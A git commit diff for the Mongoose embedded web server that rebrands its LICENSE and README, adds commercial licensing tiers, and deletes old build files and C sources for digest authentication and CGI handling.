Mongoose rebrand changes

PUBLISHED_FROM=50497043e8d0c10487804263cdcb1cbb260d5a26

LICENSE

@@ -1,16 +1,16 @@
 Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
-Copyright (c) 2013 Cesanta Software Limited
+Copyright (c) 2013-2015 Cesanta Software Limited
 All rights reserved
 
-This code is dual-licensed: you can redistribute it and/or modify
+This software is dual-licensed: you can redistribute it and/or modify
 it under the terms of the GNU General Public License version 2 as
 published by the Free Software Foundation. For the terms of this
-license, see http://www.gnu.org/licenses.
+license, see <http://www.gnu.org/licenses/>.
 
-You are free to use this code under the terms of the GNU General
+You are free to use this software under the terms of the GNU General
 Public License, but WITHOUT ANY WARRANTY; without even the implied
 warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 See the GNU General Public License for more details.
 
-Alternatively, you can license this code under a commercial
+Alternatively, you can license this software under a commercial
-license, as set out in http://cesanta.com/products.html.
+license, as set out in <https://www.cesanta.com/license>.

README.md

@@ -1,60 +1,101 @@
-# Mongoose Web Server
+# <img src="http://www.cesanta.com/hubfs/www.cesanta.com/Images/mongoose_library.png" width="64" height="64"> Mongoose - Embedded Web Server
+
+[![Join the chat at https://gitter.im/cesanta/mongoose](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/cesanta/mongoose?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
+
+![](https://img.shields.io/badge/license-GPL_2-green.svg "License")
+
+
+Mongoose is ideal for embedded environments, it has been designed as an open
+source platform for connecting devices and bringing them online.
+[Mongoose](https://www.cesanta.com/products)
+has been on the market since 2004 and attracted
+over 1 million cumulative downloads.
+
+It provides easy to use event-driven interface that allows to implement
+network protocols or scalable network applications  with little effort.
+Mongoose helps developers to manage the complexity of network programming
+and let them concentrate on the logic, saving time and money.
+
+[Download Mongoose Source Code here](http://hubs.ly/H0150FK0)
+
+> Nothing overdone. Nothing less. So unbelievably easy to use.
+> Just how good software should be!
+> - Pritin Tyagaraj, SAP
 
-Mongoose is easy to use, powerful, embeddable web server.
-   * [Downloads](http://cesanta.com/#downloads)
-   * [Documentation](http://cesanta.com/#docs,Usage.md)
-   * [Mailing list](http://groups.google.com/group/mongoose-users)
 
 # Features
 
-- Works on Windows, Mac, UNIX/Linux, iPhone, Android, and many other platforms
+* Cross-platform: works on Linux/UNIX, QNX, eCos, Windows, Android, iPhone, etc
-- CGI, SSL, Digest auth, Websocket, WEbDAV, Resumed download, URL rewrite, file blacklist, IP-based ACL, Windows service
+* Single-threaded, asynchronous, non-blocking core with simple event-based API
-- Scripting and database support ([Lua](http://lua.org) +
+* Builtin protocols:
-[Sqlite](http://sqlite.org), see
+   - plain TCP, plain UDP, SSL/TLS (over TCP, one-way or two-way)
-[page.lp](https://github.com/cesanta/mongoose/blob/master/build/test/page.lp) ),
+   - HTTP client, HTTP server
-  which provides ready to go, powerful web development platform in
+   - Websocket client, Websocket server
-  one single-click executable with no dependencies
+   - JSON-RPC client, JSON-RPC server
-- Simple and clean
+   - MQTT client, MQTT broker
-  [embedding API](https://github.com/cesanta/mongoose/blob/master/mongoose.h).
+   - CoAP client, CoAP server
-  The source is in single
+   - DNS client, DNS server, async DNS resolver
-  [mongoose.c](https://github.com/cesanta/mongoose/blob/master/mongoose.c) file
+* Tiny static and run-time footprint
-  to make embedding easy
+* Source code is both ISO C and ISO C++ compliant
-- Extremely lightweight, has a core of under 40kB and tiny runtime footprint
+* Very easy to integrate: just copy
-- Asyncronouns, non-blocking core supporting single- or multi-threaded usage
+  [mongoose.c](https://raw.githubusercontent.com/cesanta/mongoose/master/mongoose.c) and
-- On the market since 2004, stable, mature and tested,
+  [mongoose.h](https://raw.githubusercontent.com/cesanta/mongoose/master/mongoose.h)
-  has several man-years invested in continuous improvement and refinement
+  files to your build tree
-- Professional support and consultancy available from
+* Extensively tested and production-ready, trusted by many blue chip businesses
-[Cesanta Software](http://cesanta.com), developer of Mongoose
 
-# Acknowledgements
+# Examples & Documentation
 
-Mongoose made better thanks to the contribution of following people:
+- [User Guide](https://docs.cesanta.com/mongoose) - Detailed User Guide and API reference
+- [examples](examples) - Collection of well-commented examples. To build any example,
+go into respective directory and type `make`
+
+# Dashboard Example
+
+Mongoose is often used to implement device dashboards and real-time
+data exchange over Websocket. Here is a dashboard example that illustrates
+the functionality:
+
+![](http://www.cesanta.com/hubfs/www.cesanta.com/diagrams/dash_mongoose_diagram.png)
+
+[Developing a new product? Contact us today to discuss how Mongoose can help
+](https://www.cesanta.com/contact)
 
-Arnout Vandecappelle, Benoît Amiaux, Boris Pek, Cody Hanson, Colin Leitner,
-Daniel Oaks, Eric Bakan, Erik Oomen, Filipp Kovalev, Ger Hobbelt,
-Hendrik Polczynski, Igor Okulist, Jay, Joe Mucchiello, John Safranek,
-José Miguel Gonçalves, Shueng Chuan, Katerina Blinova, Konstantin Sorokin,
-Marin Atanasov, Matt Healy, Mitch Hendrickson, Nigel Stewart, Pavel Khlebovich,
-Sebastian Reinhard, Stefan Doehla, abadc0de, nullable.type,
-T.Barmann, D.Hughes, J.C.Sloan, R.Romeo, L.E.Spencer, S.Kotay, R.M.Shorter,
-W.Mar, J.Wilander, Santa from Memphis, S.Davies, C.Beck,
-O.M.Vilhunen, C.Radik, G.Woodcock, M.Szczepkowski,
-Eternal Lands Dev Team, T.Tollet, C.Tangerino, G.Karsai, A.Bourgett,
-C.Blakemore, D.Fonaryov, T.Andrle, O.IJsselmuiden, R.Womack, M.Tomlinson,
-A.Slåttå, L.Farrell, J.D.P.Ballestero, V.Albaev, B.Harker, T.Scheffel, H.Klein,
-R.Merit, T.Bennett, H.Solis, A.Zincenko, M.S., S.Krul, K.Cooke, S.McCallum,
-F.Morenius, and 10 others.
 
 # Licensing
 
-Mongoose is released under
+You are using Mongoose under
-[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html).
+[GPLv2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html)
-Businesses have an option to get non-restrictive, royalty-free commercial
+and until you commercialize your
-license and professional support from
+application, can continue to use Mongoose free of charge.
-[Cesanta Software](http://cesanta.com).
 
-[Frozen JSON parser](https://github.com/cesanta/frozen),
+Once you commercialize your product, in order to comply with GPLv2
-[Super Light Regular Expression library](https://github.com/cesanta/slre),
+you need to either open the source code of your product fully or
-[Super Light DNS Resolver](https://github.com/cesanta/sldr)
+alternatively purchase a commercial license.
-are other projects by Cesanta Software, developed with the same philosophy
+We offer [three levels of commercial licensing](https://www.cesanta.com/products):
-of functionality and simplicity.
+
+- Mongoose Lite: cross platform integration, SSL/TLS, HTTP support
+- Mongoose: Mongoose Lite + HTTP CGI, HTTP SSI, HTTP Digest Auth,
+  WebSocket support
+- Mongoose Premium: Mongoose + Plain TCP, UDP, JSON-RPC, MQTT, DNS,
+  CoAP support
+
+
+[Enquire about commercial licensing here](https://www.cesanta.com/contact)
+
+# Mongoose Binary
+
+This is our easy to use web server for web developers (PHP, Ruby, Python, etc)
+and web designers. Available in three editions to suit your needs: free, pro
+(USD 5) and dev edition (from USD 8). To install, simply download, double-click
+to start and run browser - that's all!
+
+[Download Mongoose Binary here](https://www.cesanta.com/mongoose)
+
+# Other products by Cesanta
+
+- [Smart.js](https://github.com/cesanta/smart.js) -
+    Generic, hardware independent, full-stack IoT software platform
+- [V7](https://github.com/cesanta/v7) - Embedded JavaScript engine
+- [Frozen](https://github.com/cesanta/frozen) - JSON parser and generator
+- [SLRE](https://github.com/cesanta/slre) - Super Light Regular Expression
+  library

build/Info.plist

@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-  <key>CFBundleExecutable</key> <string>Mongoose</string>
-  <key>CFBundlePackageType</key> <string>APPL</string>
-  <key>CFBundleTypeRole</key> <string>None</string>
-  <key>CFBundleIconFile</key> <string>mongoose.icns</string>
-  <key>LSUIElement</key> <true/>
-  <key>RunAtLoad</key> <true/>
-  <key>Label</key> <string>com.kolkin.mongoose</string>
-  <key>ProgramArguments</key> <array> </array>
-  <key>KeepAlive</key> <true/>
-</dict>
-</plist>

build/Makefile

@@ -1,165 +0,0 @@
-# This Makefile is part of Mongoose web server project,
-# https://github.com/valenok/mongoose
-#
-# This Makefile is GNU make compatible. You can get GNU Make from
-# http://gnuwin32.sourceforge.net/packages/make.htm
-
-PROG = mongoose
-EXE_SUFFIX =
-CFLAGS = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe -I. -I.. $(CFLAGS_EXTRA)
-VERSION = $(shell perl -lne \
-            'print $$1 if /define\s+MONGOOSE_VERSION\s+"(\S+)"/' ../mongoose.h)
-VDIR = mongoose-$(VERSION)
-
-# Stock windows binary builds with Lua and YASSL library.
-YASSL       = ../../cyassl-2.4.6
-YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \
-              -D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \
-              -D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \
-              -D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \
-              -D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H
-YASSL_SOURCES = \
-  $(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \
-  $(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \
-  $(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \
-  $(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \
-  $(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \
-  $(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \
-  $(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \
-  $(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \
-  $(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \
-  $(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \
-  $(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \
-  $(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \
-  $(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \
-  $(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \
-  $(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \
-  $(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c
-
-TINY_SOURCES = ../mongoose.c main.c
-LUA_SOURCES = $(TINY_SOURCES) lua_5.2.1.c
-LUA_SQLITE_SOURCES = $(LUA_SOURCES) sqlite3.c lsqlite3.c
-BIG_SOURCES = $(TINY_SOURCES) lua_5.2.1.c sqlite3.c lsqlite3.c $(YASSL_SOURCES)
-
-SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-               -DSQLITE_ENABLE_FTS3_PARENTHESIS
-LUA_FLAGS = -DUSE_LUA
-LUA_SQLITE_FLAGS = $(SQLITE_FLAGS) $(LUA_FLAGS) -DUSE_LUA_SQLITE3
-BIG_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-	    -DSQLITE_ENABLE_FTS3_PARENTHESIS \
-	    -DUSE_LUA -DUSE_LUA_SQLITE3 -DUSE_SSL -DUSE_CYASSL $(YASSL_FLAGS)
-
-# Using Visual Studio 6.0. To build Mongoose:
-#  Set MSVC variable below to where VS 6.0 is installed on your system
-#  Run "PATH_TO_VC6\bin\nmake windows"
-MSVC = ../../vc6
-#DBG = /Zi /Od
-DBG  = /DNDEBUG /O1 $(CFLAGS_EXTRA)
-CL   = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /I$(MSVC)/include /I.. /I.
-LINK_FLAGS = /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
-            user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib
-LINK = $(MSVC)/bin/link $(LINK_FLAGS)
-
-ifeq ($(OS), Windows_NT)
-  EXE_SUFFIX = .exe
-else
-  UNAME_S := $(shell uname -s)
-  ifeq ($(UNAME_S), Linux)
-    CFLAGS += -ldl -lm
-  endif
-endif
-
-all: mongoose$(EXE_SUFFIX)
-
-# Make sure that the compiler flags come last in the compilation string.
-# If not so, this can break some on some Linux distros which use
-# "-Wl,--as-needed" turned on by default  in cc command.
-# Also, this is turned in many other distros in static linkage builds.
-$(PROG): $(TINY_SOURCES)
-	$(CC) $(TINY_SOURCES) -o $@ $(CFLAGS)
-
-$(PROG)-lua: $(TINY_SOURCES) $(LUA_SOURCES)
-	$(CC) $(LUA_SOURCES) -o $@ $(LUA_FLAGS) $(CFLAGS)
-
-$(PROG)-lua-sqlite: $(LUA_SQLITE_SOURCES)
-	$(CC) $(LUA_SQLITE_SOURCES) -o $@ $(LUA_SQLITE_FLAGS) $(CFLAGS)
-
-$(PROG)-lua-sqlite-ssl: $(BIG_SOURCES)
-	$(CC) $(BIG_SOURCES) -o $@ $(BIG_FLAGS) $(CFLAGS)
-
-$(PROG)-big: $(BIG_SOURCES)
-	$(CC) $(BIG_SOURCES) -o $@ $(CFLAGS) $(BIG_FLAGS)
-
-unix_unit_test: $(LUA_SOURCES) Makefile ./test/unit_test.c
-	$(CC) ./test/unit_test.c lua_5.2.1.c $(CFLAGS) -g -O0 -o t && ./t
-
-# Windows build
-$(PROG)-lua-sqlite.exe: $(LUA_SQLITE_SOURCES)
-	$(MSVC)/bin/rc res.rc
-	$(CL) $(LUA_SQLITE_SOURCES) $(LUA_SQLITE_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
-
-$(PROG)-lua-sqlite-ssl.exe: $(BIG_SOURCES)
-	$(MSVC)/bin/rc res.rc
-	$(CL) $(BIG_SOURCES) $(BIG_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
-
-$(PROG)-lua.exe: $(LUA_SOURCES)
-	$(MSVC)/bin/rc res.rc
-	$(CL) $(LUA_SOURCES) $(LUA_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
-
-$(PROG).exe: $(TINY_SOURCES)
-	$(MSVC)/bin/rc res.rc
-	$(CL) $(TINY_SOURCES) /link $(LINK_FLAGS) res.res /out:$@
-
-$(PROG).dll: $(TINY_SOURCES) Makefile
-	$(CL) ../mongoose.c /Gz /link $(LINK_FLAGS) /DLL /DEF:dll.def /out:$@
-
-# This is broken now due to SSL exclusion
-windows_unit_test.exe: ../mongoose.c Makefile
-	$(CL) ./test/unit_test.c lua_5.2.1.c  \
-          /link /libpath:$(MSVC)/lib advapi32.lib /out:$@
-	./$@
-
-# MacOS build with Cocoa GUI
-# For codesign to work in non-interactive mode, unlock login keychain:
-# security unlock ~/Library/Keychains/login.keychain
-# See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html
-macos: $(BIG_SOURCES)
-	DIR=dmg/Mongoose.app
-	rm -rf dmg
-	mkdir -p dmg/Mongoose.app/Contents/{MacOS,Resources}
-	install -m 644 *.icns *.png dmg/Mongoose.app/Contents/Resources/
-	install -m 644 Info.plist dmg/Mongoose.app/Contents/
-	$(CC) $(BIG_SOURCES) \
-  -DUSE_COCOA $(CFLAGS) $(BIG_FLAGS) -mmacosx-version-min=10.4 \
-  -framework Cocoa -ObjC -arch i386 -arch x86_64 \
-  -o dmg/Mongoose.app/Contents/MacOS/Mongoose
-	ln -fs /Applications dmg/
-	hdiutil create Mongoose-$(VERSION).dmg -volname "Mongoose $(VERSION)" \
-  -srcfolder dmg -ov
-	#rm -rf dmg
-
-tests:
-	perl ./test/test.pl $(TEST)
-
-tarball: clean
-	rm -rf $(VDIR)
-	install -d $(VDIR) $(VDIR)/docs $(VDIR)/examples
-	install -m 644 ../{LICENSE,README.md,mongoose.[ch]} $(VDIR)
-	install -m 644 ../docs/*.md $(VDIR)/docs
-	install -m 644 ../examples/{Makefile,*.c} $(VDIR)/examples
-	tar -czf $(VDIR).tgz $(VDIR)
-
-release: tarball macos
-	wine make mongoose.exe mongoose-lua-sqlite-ssl.exe
-	upx mongoose.exe
-	upx mongoose-lua-sqlite-ssl.exe
-	cp mongoose.exe mongoose-$(VERSION).exe
-	cp mongoose-lua-sqlite-ssl.exe mongoose-lua-sqlite-ssl-$(VERSION).exe
-	cp mongoose-lua-sqlite-ssl.exe mongoose_php_bundle/mongoose.exe
-	zip -r mongoose-php-$(VERSION).zip mongoose_php_bundle/
-
-clean:
-	cd ../examples && $(MAKE) clean
-	rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \
-	$(PROG).exe *.dll *.lib res.o res.RES *.dSYM *.zip *.pdb \
-	*.exe *dmg* $(PROG)-* unix_unit_test

build/dll.def

@@ -1,19 +0,0 @@
-LIBRARY
-EXPORTS
-	mg_start
-	mg_stop
-	mg_read
-	mg_write
-	mg_printf
-	mg_get_header
-	mg_get_var
-	mg_get_cookie
-	mg_get_option
-	mg_get_valid_option_names
-	mg_version
-	mg_modify_passwords_file
-	mg_md5
-	mg_upload
-	mg_download
-	mg_send_file
-	mg_get_builtin_mime_type

build/jni/Android.mk

@@ -1,12 +0,0 @@
-LOCAL_PATH := $(call my-dir)/../..
-include $(CLEAR_VARS)
-
-# To build with lua support, uncomment two lines below:
-#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
-#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
-
-LOCAL_CFLAGS    := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
-LOCAL_MODULE    := mongoose
-LOCAL_SRC_FILES := build/main.c mongoose.c $(LUA_SOURCES)
-
-include $(BUILD_EXECUTABLE)

build/mongoose.ai

@@ -1,589 +0,0 @@
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-            xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/">
-         <xmp:CreatorTool>Adobe Illustrator CS6 (Windows)</xmp:CreatorTool>
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-         <xmp:Thumbnails>
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-               <rdf:li rdf:parseType="Resource">
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build/res.rc

@@ -1 +0,0 @@
-100 ICON DISCARDABLE "systray.ico"

build/src/auth.c

@@ -1,301 +0,0 @@
-#include "internal.h"
-
-// Stringify binary data. Output buffer must be twice as big as input,
-// because each byte takes 2 bytes in string representation
-static void bin2str(char *to, const unsigned char *p, size_t len) {
-  static const char *hex = "0123456789abcdef";
-
-  for (; len--; p++) {
-    *to++ = hex[p[0] >> 4];
-    *to++ = hex[p[0] & 0x0f];
-  }
-  *to = '\0';
-}
-
-// Return stringified MD5 hash for list of strings. Buffer must be 33 bytes.
-char *mg_md5(char buf[33], ...) {
-  unsigned char hash[16];
-  const char *p;
-  va_list ap;
-  MD5_CTX ctx;
-
-  MD5Init(&ctx);
-
-  va_start(ap, buf);
-  while ((p = va_arg(ap, const char *)) != NULL) {
-    MD5Update(&ctx, (const unsigned char *) p, (unsigned) strlen(p));
-  }
-  va_end(ap);
-
-  MD5Final(hash, &ctx);
-  bin2str(buf, hash, sizeof(hash));
-  return buf;
-}
-
-// Check the user's password, return 1 if OK
-static int check_password(const char *method, const char *ha1, const char *uri,
-                          const char *nonce, const char *nc, const char *cnonce,
-                          const char *qop, const char *response) {
-  char ha2[32 + 1], expected_response[32 + 1];
-
-  // Some of the parameters may be NULL
-  if (method == NULL || nonce == NULL || nc == NULL || cnonce == NULL ||
-      qop == NULL || response == NULL) {
-    return 0;
-  }
-
-  // NOTE(lsm): due to a bug in MSIE, we do not compare the URI
-  // TODO(lsm): check for authentication timeout
-  if (// strcmp(dig->uri, c->ouri) != 0 ||
-      strlen(response) != 32
-      // || now - strtoul(dig->nonce, NULL, 10) > 3600
-      ) {
-    return 0;
-  }
-
-  mg_md5(ha2, method, ":", uri, NULL);
-  mg_md5(expected_response, ha1, ":", nonce, ":", nc,
-      ":", cnonce, ":", qop, ":", ha2, NULL);
-
-  return mg_strcasecmp(response, expected_response) == 0;
-}
-
-// Use the global passwords file, if specified by auth_gpass option,
-// or search for .htpasswd in the requested directory.
-static FILE *open_auth_file(struct mg_connection *conn, const char *path) {
-  char name[PATH_MAX];
-  const char *p, *e, *gpass = conn->ctx->config[GLOBAL_PASSWORDS_FILE];
-  struct file file = STRUCT_FILE_INITIALIZER;
-  FILE *fp = NULL;
-
-  if (gpass != NULL) {
-    // Use global passwords file
-    fp = mg_fopen(gpass, "r");
-    // Important: using local struct file to test path for is_directory flag.
-    // If filep is used, mg_stat() makes it appear as if auth file was opened.
-  } else if (mg_stat(path, &file) && file.is_directory) {
-    mg_snprintf(name, sizeof(name), "%s%c%s",
-                path, '/', PASSWORDS_FILE_NAME);
-    fp = mg_fopen(name, "r");
-  } else {
-     // Try to find .htpasswd in requested directory.
-    for (p = path, e = p + strlen(p) - 1; e > p; e--)
-      if (e[0] == '/')
-        break;
-    mg_snprintf(name, sizeof(name), "%.*s%c%s",
-                (int) (e - p), p, '/', PASSWORDS_FILE_NAME);
-    fp = mg_fopen(name, "r");
-  }
-
-  return fp;
-}
-
-// Parsed Authorization header
-struct ah {
-  char *user, *uri, *cnonce, *response, *qop, *nc, *nonce;
-};
-
-// Return 1 on success. Always initializes the ah structure.
-static int parse_auth_header(struct mg_connection *conn, char *buf,
-                             size_t buf_size, struct ah *ah) {
-  char *name, *value, *s;
-  const char *auth_header;
-
-  (void) memset(ah, 0, sizeof(*ah));
-  if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
-      mg_strncasecmp(auth_header, "Digest ", 7) != 0) {
-    return 0;
-  }
-
-  // Make modifiable copy of the auth header
-  (void) mg_strlcpy(buf, auth_header + 7, buf_size);
-  s = buf;
-
-  // Parse authorization header
-  for (;;) {
-    // Gobble initial spaces
-    while (isspace(* (unsigned char *) s)) {
-      s++;
-    }
-    name = skip_quoted(&s, "=", " ", 0);
-    // Value is either quote-delimited, or ends at first comma or space.
-    if (s[0] == '\"') {
-      s++;
-      value = skip_quoted(&s, "\"", " ", '\\');
-      if (s[0] == ',') {
-        s++;
-      }
-    } else {
-      value = skip_quoted(&s, ", ", " ", 0);  // IE uses commas, FF uses spaces
-    }
-    if (*name == '\0') {
-      break;
-    }
-
-    if (!strcmp(name, "username")) {
-      ah->user = value;
-    } else if (!strcmp(name, "cnonce")) {
-      ah->cnonce = value;
-    } else if (!strcmp(name, "response")) {
-      ah->response = value;
-    } else if (!strcmp(name, "uri")) {
-      ah->uri = value;
-    } else if (!strcmp(name, "qop")) {
-      ah->qop = value;
-    } else if (!strcmp(name, "nc")) {
-      ah->nc = value;
-    } else if (!strcmp(name, "nonce")) {
-      ah->nonce = value;
-    }
-  }
-
-  // CGI needs it as REMOTE_USER
-  if (ah->user != NULL) {
-    conn->request_info.remote_user = mg_strdup(ah->user);
-  } else {
-    return 0;
-  }
-
-  return 1;
-}
-
-// Authorize against the opened passwords file. Return 1 if authorized.
-static int authorize(struct mg_connection *conn, FILE *fp) {
-  struct ah ah;
-  char line[256], f_user[256], ha1[256], f_domain[256], buf[MG_BUF_LEN];
-
-  if (!parse_auth_header(conn, buf, sizeof(buf), &ah)) {
-    return 0;
-  }
-
-  // Loop over passwords file
-  while (fgets(line, sizeof(line), fp) != NULL) {
-    if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) != 3) {
-      continue;
-    }
-
-    if (!strcmp(ah.user, f_user) &&
-        !strcmp(conn->ctx->config[AUTHENTICATION_DOMAIN], f_domain))
-      return check_password(conn->request_info.request_method, ha1, ah.uri,
-                            ah.nonce, ah.nc, ah.cnonce, ah.qop, ah.response);
-  }
-
-  return 0;
-}
-
-// Return 1 if request is authorised, 0 otherwise.
-static int check_authorization(struct mg_connection *conn, const char *path) {
-  char fname[PATH_MAX];
-  struct vec uri_vec, filename_vec;
-  const char *list;
-  FILE *fp = NULL;
-  int authorized = 1;
-
-  list = conn->ctx->config[PROTECT_URI];
-  while ((list = next_option(list, &uri_vec, &filename_vec)) != NULL) {
-    if (!memcmp(conn->request_info.uri, uri_vec.ptr, uri_vec.len)) {
-      mg_snprintf(fname, sizeof(fname), "%.*s",
-                  (int) filename_vec.len, filename_vec.ptr);
-      fp = mg_fopen(fname, "r");
-      break;
-    }
-  }
-
-  if (fp == NULL) {
-    fp = open_auth_file(conn, path);
-  }
-
-  if (fp != NULL) {
-    authorized = authorize(conn, fp);
-    fclose(fp);
-  }
-
-  return authorized;
-}
-
-static void send_authorization_request(struct mg_connection *conn) {
-  conn->status_code = 401;
-  mg_printf(conn,
-            "HTTP/1.1 401 Unauthorized\r\n"
-            "Content-Length: 0\r\n"
-            "WWW-Authenticate: Digest qop=\"auth\", "
-            "realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
-            conn->ctx->config[AUTHENTICATION_DOMAIN],
-            (unsigned long) time(NULL));
-}
-
-static int is_authorized_for_put(struct mg_connection *conn) {
-  const char *passfile = conn->ctx->config[PUT_DELETE_PASSWORDS_FILE];
-  FILE *fp;
-  int ret = 0;
-
-  if (passfile != NULL && (fp = mg_fopen(passfile, "r")) != NULL) {
-    ret = authorize(conn, fp);
-    fclose(fp);
-  }
-
-  return ret;
-}
-
-int mg_modify_passwords_file(const char *fname, const char *domain,
-                             const char *user, const char *pass) {
-  int found;
-  char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
-  FILE *fp, *fp2;
-
-  found = 0;
-  fp = fp2 = NULL;
-
-  // Regard empty password as no password - remove user record.
-  if (pass != NULL && pass[0] == '\0') {
-    pass = NULL;
-  }
-
-  (void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
-
-  // Create the file if does not exist
-  if ((fp = fopen(fname, "a+")) != NULL) {
-    fclose(fp);
-  }
-
-  // Open the given file and temporary file
-  if ((fp = fopen(fname, "r")) == NULL) {
-    return 0;
-  } else if ((fp2 = fopen(tmp, "w+")) == NULL) {
-    fclose(fp);
-    return 0;
-  }
-
-  // Copy the stuff to temporary file
-  while (fgets(line, sizeof(line), fp) != NULL) {
-    if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
-      continue;
-    }
-
-    if (!strcmp(u, user) && !strcmp(d, domain)) {
-      found++;
-      if (pass != NULL) {
-        mg_md5(ha1, user, ":", domain, ":", pass, NULL);
-        fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
-      }
-    } else {
-      fprintf(fp2, "%s", line);
-    }
-  }
-
-  // If new user, just add it
-  if (!found && pass != NULL) {
-    mg_md5(ha1, user, ":", domain, ":", pass, NULL);
-    fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
-  }
-
-  // Close files
-  fclose(fp);
-  fclose(fp2);
-
-  // Put the temp file in place of real file
-  remove(fname);
-  rename(tmp, fname);
-
-  return 1;
-}

build/src/cgi.c

@@ -1,384 +0,0 @@
-#include "internal.h"
-
-static int forward_body_data(struct mg_connection *conn, FILE *fp,
-                             SOCKET sock, SSL *ssl) {
-  const char *expect, *body;
-  char buf[MG_BUF_LEN];
-  int nread, buffered_len, success = 0;
-  int64_t left;
-
-  expect = mg_get_header(conn, "Expect");
-  assert(fp != NULL);
-
-  if (conn->content_len == INT64_MAX) {
-    send_http_error(conn, 411, "Length Required", "%s", "");
-  } else if (expect != NULL && mg_strcasecmp(expect, "100-continue")) {
-    send_http_error(conn, 417, "Expectation Failed", "%s", "");
-  } else {
-    if (expect != NULL) {
-      (void) mg_printf(conn, "%s", "HTTP/1.1 100 Continue\r\n\r\n");
-    }
-
-    buffered_len = conn->data_len - conn->request_len;
-    body = conn->buf + conn->request_len;
-    assert(buffered_len >= 0);
-
-    if (buffered_len > 0) {
-      if ((int64_t) buffered_len > conn->content_len) {
-        buffered_len = (int) conn->content_len;
-      }
-      push(fp, sock, ssl, body, (int64_t) buffered_len);
-      memmove((char *) body, body + buffered_len, buffered_len);
-      conn->data_len -= buffered_len;
-    }
-
-    nread = 0;
-    while (conn->num_bytes_read < conn->content_len + conn->request_len) {
-      left = left_to_read(conn);
-      if (left > (int64_t) sizeof(buf)) {
-        left = sizeof(buf);
-      }
-      nread = pull(NULL, conn, buf, (int) left);
-      if (nread <= 0 || push(fp, sock, ssl, buf, nread) != nread) {
-        break;
-      }
-    }
-
-    if (left_to_read(conn) == 0) {
-      success = nread >= 0;
-    }
-
-    // Each error code path in this function must send an error
-    if (!success) {
-      send_http_error(conn, 577, http_500_error, "%s", "");
-    }
-  }
-
-  return success;
-}
-
-
-#if !defined(NO_CGI)
-// This structure helps to create an environment for the spawned CGI program.
-// Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
-// last element must be NULL.
-// However, on Windows there is a requirement that all these VARIABLE=VALUE\0
-// strings must reside in a contiguous buffer. The end of the buffer is
-// marked by two '\0' characters.
-// We satisfy both worlds: we create an envp array (which is vars), all
-// entries are actually pointers inside buf.
-struct cgi_env_block {
-  struct mg_connection *conn;
-  char buf[CGI_ENVIRONMENT_SIZE]; // Environment buffer
-  int len; // Space taken
-  char *vars[MAX_CGI_ENVIR_VARS]; // char **envp
-  int nvars; // Number of variables
-};
-
